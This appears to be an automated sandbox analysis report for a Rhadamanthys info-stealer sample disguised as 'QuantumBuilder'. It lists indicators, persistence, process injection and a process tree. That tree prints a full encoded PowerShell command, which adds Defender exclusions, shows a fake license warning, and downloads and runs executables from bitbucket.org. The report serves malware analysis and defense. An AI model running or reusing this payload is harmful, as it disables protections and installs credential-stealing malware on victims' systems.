rhadamanthys | 85b2a25107ef128079874c82eef0a6020344f3dbbd7b886f3ed5b9a8233cab39

Analysis

max time kernel
68s
max time network
52s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2024, 15:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
QUANTUMBUILDER.rar
Size 7.9MB
Sample240406-sgesfsde73
SHA256 85b2a25107ef128079874c82eef0a6020344f3dbbd7b886f3ed5b9a8233cab39
MD5 96b4a35e6ccbed817f353d1a68909885
SHA1 b45d8ca2b4f3b5f46aef4d933ab803cffc297ab9
SHA512 b6c7653c2ddde24c2096b69e9f00c465e9b7f8eb6b648366ecb72dee027930cbecae4c87e213d21c35d4aa800d4447b6808ce806f1804a4faed509a0e004b569
SSDEEP 196608:ljNcw/2acMgSfmpi/RrV3MkgI7yDBJQX2d2uYz:NNcjacFSfsi/RB8Oe4f
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rhadamanthys evasion persistence stealer

Malware Config

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4748 created 2736	4748	liccheck.exe	50

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	3048	powershell.exe
26	2616	powershell.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	QuantumBuilder.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	QuantumBuilder.exe

Executes dropped EXE 9 IoCs

pid	Process
988	QuantumBuilder.exe
3912	QuantumBuilder.exe
1780	lic.exe
1496	lic.exe
4748	liccheck.exe
3560	liccheck.exe
2320	LicGet.exe
1032	LicGet.exe
4980	ebvoxlrooljj.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Clipper = "\"C:\\Users\\Admin\\AppData\\Roaming\\Clipper\\Clipper.exe\" "	LicGet.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
23	bitbucket.org
24	bitbucket.org
26	bitbucket.org

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	lic.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1780 set thread context of 3608	1780	lic.exe	139

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2832	sc.exe
1420	sc.exe
1540	sc.exe
1496	sc.exe
2484	sc.exe
2532	sc.exe
4424	sc.exe
4488	sc.exe
4940	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
3048	powershell.exe
3048	powershell.exe
3048	powershell.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
2616	powershell.exe
2616	powershell.exe
2616	powershell.exe
2680	powershell.exe
2680	powershell.exe
2680	powershell.exe
4748	liccheck.exe
4748	liccheck.exe
2860	dialer.exe
2860	dialer.exe
2860	dialer.exe
2860	dialer.exe
1780	lic.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
3608	dialer.exe
3608	dialer.exe
1780	lic.exe
3608	dialer.exe
3608	dialer.exe
1780	lic.exe
1780	lic.exe
1780	lic.exe
4980	ebvoxlrooljj.exe

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeRestorePrivilege	4140	7zFM.exe
Token: 35	4140	7zFM.exe
Token: SeSecurityPrivilege	4140	7zFM.exe
Token: SeDebugPrivilege	3048	powershell.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	4876	powershell.exe
Token: SeDebugPrivilege	1780	lic.exe
Token: SeShutdownPrivilege	3692	powercfg.exe
Token: SeCreatePagefilePrivilege	3692	powercfg.exe
Token: SeShutdownPrivilege	1028	powercfg.exe
Token: SeCreatePagefilePrivilege	1028	powercfg.exe
Token: SeShutdownPrivilege	4196	powercfg.exe
Token: SeCreatePagefilePrivilege	4196	powercfg.exe
Token: SeShutdownPrivilege	3256	powercfg.exe
Token: SeCreatePagefilePrivilege	3256	powercfg.exe
Token: SeDebugPrivilege	3608	dialer.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4140	7zFM.exe
4140	7zFM.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
988	QuantumBuilder.exe
3912	QuantumBuilder.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 4140	3000	cmd.exe	85
PID 3000 wrote to memory of 4140	3000	cmd.exe	85
PID 988 wrote to memory of 3048	988	QuantumBuilder.exe	101
PID 988 wrote to memory of 3048	988	QuantumBuilder.exe	101
PID 988 wrote to memory of 3048	988	QuantumBuilder.exe	101
PID 3048 wrote to memory of 1592	3048	powershell.exe	103
PID 3048 wrote to memory of 1592	3048	powershell.exe	103
PID 3048 wrote to memory of 1592	3048	powershell.exe	103
PID 3912 wrote to memory of 2616	3912	QuantumBuilder.exe	106
PID 3912 wrote to memory of 2616	3912	QuantumBuilder.exe	106
PID 3912 wrote to memory of 2616	3912	QuantumBuilder.exe	106
PID 2616 wrote to memory of 2680	2616	powershell.exe	108
PID 2616 wrote to memory of 2680	2616	powershell.exe	108
PID 2616 wrote to memory of 2680	2616	powershell.exe	108
PID 2616 wrote to memory of 1780	2616	powershell.exe	111
PID 2616 wrote to memory of 1780	2616	powershell.exe	111
PID 3048 wrote to memory of 1496	3048	powershell.exe	112
PID 3048 wrote to memory of 1496	3048	powershell.exe	112
PID 3048 wrote to memory of 4748	3048	powershell.exe	113
PID 3048 wrote to memory of 4748	3048	powershell.exe	113
PID 3048 wrote to memory of 4748	3048	powershell.exe	113
PID 2616 wrote to memory of 3560	2616	powershell.exe	114
PID 2616 wrote to memory of 3560	2616	powershell.exe	114
PID 2616 wrote to memory of 3560	2616	powershell.exe	114
PID 3048 wrote to memory of 2320	3048	powershell.exe	115
PID 3048 wrote to memory of 2320	3048	powershell.exe	115
PID 2616 wrote to memory of 1032	2616	powershell.exe	116
PID 2616 wrote to memory of 1032	2616	powershell.exe	116
PID 4748 wrote to memory of 2860	4748	liccheck.exe	119
PID 4748 wrote to memory of 2860	4748	liccheck.exe	119
PID 4748 wrote to memory of 2860	4748	liccheck.exe	119
PID 4748 wrote to memory of 2860	4748	liccheck.exe	119
PID 4748 wrote to memory of 2860	4748	liccheck.exe	119
PID 3216 wrote to memory of 588	3216	cmd.exe	126
PID 3216 wrote to memory of 588	3216	cmd.exe	126
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 1780 wrote to memory of 3608	1780	lic.exe	139
PID 3608 wrote to memory of 612	3608	dialer.exe	5
PID 3608 wrote to memory of 660	3608	dialer.exe	7
PID 3608 wrote to memory of 944	3608	dialer.exe	12
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 3608 wrote to memory of 1020	3608	dialer.exe	13
PID 3608 wrote to memory of 432	3608	dialer.exe	14
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 3608 wrote to memory of 720	3608	dialer.exe	15
PID 3608 wrote to memory of 1084	3608	dialer.exe	17
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 3608 wrote to memory of 1100	3608	dialer.exe	18
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 3608 wrote to memory of 1124	3608	dialer.exe	19
PID 3608 wrote to memory of 1156	3608	dialer.exe	20
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 3608 wrote to memory of 1264	3608	dialer.exe	21
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 660 wrote to memory of 2684	660	lsass.exe	46
PID 660 wrote to memory of 2684	660	lsass.exe	46

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1460
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2736
- - C:\Windows\SysWOW64\dialer.exe
    "C:\Windows\system32\dialer.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2860
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2560
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1552

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2684

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER.rar
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Program Files\7-Zip\7zFM.exe
  "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\QUANTUMBUILDER.rar"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4140

C:\Users\Admin\Desktop\QuantumBuilder.exe
"C:\Users\Admin\Desktop\QuantumBuilder.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:988
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeQBkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAZgBoACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAbABpAGMAZQBuAHMAZQAhACAAQwBvAG4AbgBlAGMAdAAgAHkAbwB1AHIAIABTAHQAZQBhAG0AIABhAGMAYwBvAHUAbgB0ACAAaQBuACAAbwByAGQAZQByACAAdABvACAAZwBlAHQAIABhACAAbABpAGMAZQBuAHMAZQAuACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAG4AbwB0ACAAdQBzAGkAbgBnACAAYQBsAHQAZQByAG4AYQB0AGkAdgBlACAAYQBjAGMAbwB1AG4AdAAsACAAbwB0AGgAZQByAHcAaQBzAGUAIABsAGkAYwBlAG4AcwBlACAAdwBpAGwAbAAgAG4AbwB0ACAAYgBlACAAZwBpAHYAZQBuAC4AIAAoAFQAaABpAHMAIABpAHMAIABkAG8AbgBlACAAdABvACAAcAByAGUAdgBlAG4AdAAgAGMAcgBhAGMAawBpAG4AZwApACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAegBxAGUAIwA+ADsAIgA7ADwAIwBsAGIAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAYwBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcwBpACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZABhAGcAZQB3AGgALwB0AGUAcwB0ADYAMwA0ADIANQAvAHIAYQB3AC8AMwAwADAANQBkAGQAMgBkADUANwAzADcAOQA4ADMAMQAyADQAMwAwADEAYQBkADgANgA0ADIANwA4AGYAZgA1ADMAMwBjAGMAOQA3ADEAYQAvAEwAZQB2AGkAUAByAG8AdAAuAGUAeABlACcALAAgADwAIwB6AHEAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAagBmACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAbQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApACkAPAAjAHQAZgB2ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBkAGEAZwBlAHcAaAAvAHQAZQBzAHQANgAzADQAMgA1AC8AcgBhAHcALwAzADAAMAA1AGQAZAAyAGQANQA3ADMANwA5ADgAMwAxADIANAAzADAAMQBhAGQAOAA2ADQAMgA3ADgAZgBmADUAMwAzAGMAYwA5ADcAMQBhAC8ATABlAHYAaQBhAHQAaABhAG4ALgBlAHgAZQAnACwAIAA8ACMAagBkAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHYAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBsAGkAYwBjAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAdQBjAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGQAYQBnAGUAdwBoAC8AdABlAHMAdAA2ADMANAAyADUALwByAGEAdwAvADMAMAAwADUAZABkADIAZAA1ADcAMwA3ADkAOAAzADEAMgA0ADMAMAAxAGEAZAA4ADYANAAyADcAOABmAGYANQAzADMAYwBjADkANwAxAGEALwBMAGUAdgBpAHQAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAeQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABwAHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaAB0AGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAKQA8ACMAdwBrAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABnAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAZABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApADwAIwBpAGcAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHoAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQB6AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbABpAGMAYwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwBoAHAAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHEAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABpAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAPAAjAGsAcwBrACMAPgA="
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#ufh#>[System.Windows.Forms.MessageBox]::Show('No license! Connect your Steam account in order to get a license. Make sure that you are not using alternative account, otherwise license will not be given. (This is done to prevent cracking)','','OK','Warning')<#zqe#>;
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592
- - C:\Users\Admin\AppData\Roaming\lic.exe
    "C:\Users\Admin\AppData\Roaming\lic.exe"
    3⤵
    - Executes dropped EXE
    PID:1496
- - C:\Users\Admin\AppData\Roaming\liccheck.exe
    "C:\Users\Admin\AppData\Roaming\liccheck.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4748
- - C:\Users\Admin\AppData\Roaming\LicGet.exe
    "C:\Users\Admin\AppData\Roaming\LicGet.exe"
    3⤵
    - Executes dropped EXE
    PID:2320

C:\Users\Admin\Desktop\QuantumBuilder.exe
"C:\Users\Admin\Desktop\QuantumBuilder.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3912
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeQBkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAZgBoACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAbABpAGMAZQBuAHMAZQAhACAAQwBvAG4AbgBlAGMAdAAgAHkAbwB1AHIAIABTAHQAZQBhAG0AIABhAGMAYwBvAHUAbgB0ACAAaQBuACAAbwByAGQAZQByACAAdABvACAAZwBlAHQAIABhACAAbABpAGMAZQBuAHMAZQAuACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAG4AbwB0ACAAdQBzAGkAbgBnACAAYQBsAHQAZQByAG4AYQB0AGkAdgBlACAAYQBjAGMAbwB1AG4AdAAsACAAbwB0AGgAZQByAHcAaQBzAGUAIABsAGkAYwBlAG4AcwBlACAAdwBpAGwAbAAgAG4AbwB0ACAAYgBlACAAZwBpAHYAZQBuAC4AIAAoAFQAaABpAHMAIABpAHMAIABkAG8AbgBlACAAdABvACAAcAByAGUAdgBlAG4AdAAgAGMAcgBhAGMAawBpAG4AZwApACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAegBxAGUAIwA+ADsAIgA7ADwAIwBsAGIAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAYwBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcwBpACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZABhAGcAZQB3AGgALwB0AGUAcwB0ADYAMwA0ADIANQAvAHIAYQB3AC8AMwAwADAANQBkAGQAMgBkADUANwAzADcAOQA4ADMAMQAyADQAMwAwADEAYQBkADgANgA0ADIANwA4AGYAZgA1ADMAMwBjAGMAOQA3ADEAYQAvAEwAZQB2AGkAUAByAG8AdAAuAGUAeABlACcALAAgADwAIwB6AHEAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAagBmACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAbQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApACkAPAAjAHQAZgB2ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBkAGEAZwBlAHcAaAAvAHQAZQBzAHQANgAzADQAMgA1AC8AcgBhAHcALwAzADAAMAA1AGQAZAAyAGQANQA3ADMANwA5ADgAMwAxADIANAAzADAAMQBhAGQAOAA2ADQAMgA3ADgAZgBmADUAMwAzAGMAYwA5ADcAMQBhAC8ATABlAHYAaQBhAHQAaABhAG4ALgBlAHgAZQAnACwAIAA8ACMAagBkAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHYAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBsAGkAYwBjAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAdQBjAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGQAYQBnAGUAdwBoAC8AdABlAHMAdAA2ADMANAAyADUALwByAGEAdwAvADMAMAAwADUAZABkADIAZAA1ADcAMwA3ADkAOAAzADEAMgA0ADMAMAAxAGEAZAA4ADYANAAyADcAOABmAGYANQAzADMAYwBjADkANwAxAGEALwBMAGUAdgBpAHQAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAeQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABwAHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaAB0AGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAKQA8ACMAdwBrAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABnAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAZABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApADwAIwBpAGcAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHoAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQB6AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbABpAGMAYwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwBoAHAAaQAjAD4AOwAgAFMAdABhAHIAdAAt